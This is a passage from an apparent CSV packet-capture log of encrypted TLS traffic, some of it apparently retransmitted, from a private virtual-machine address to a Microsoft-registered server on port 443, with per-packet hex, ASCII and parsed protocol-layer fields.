data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:16.534231,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:17.737226,5,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb701000080062956c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)V..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46849, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:17.763853,6,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70240008006e8bfc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:18.065341,7,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70340008006e8bec0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:18.680501,8,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70440008006e8bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59581, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:18.945971,9,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70540008006e951c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Q..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59729, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:19.891006,10,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7060000800628bcc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46854, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10428, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W 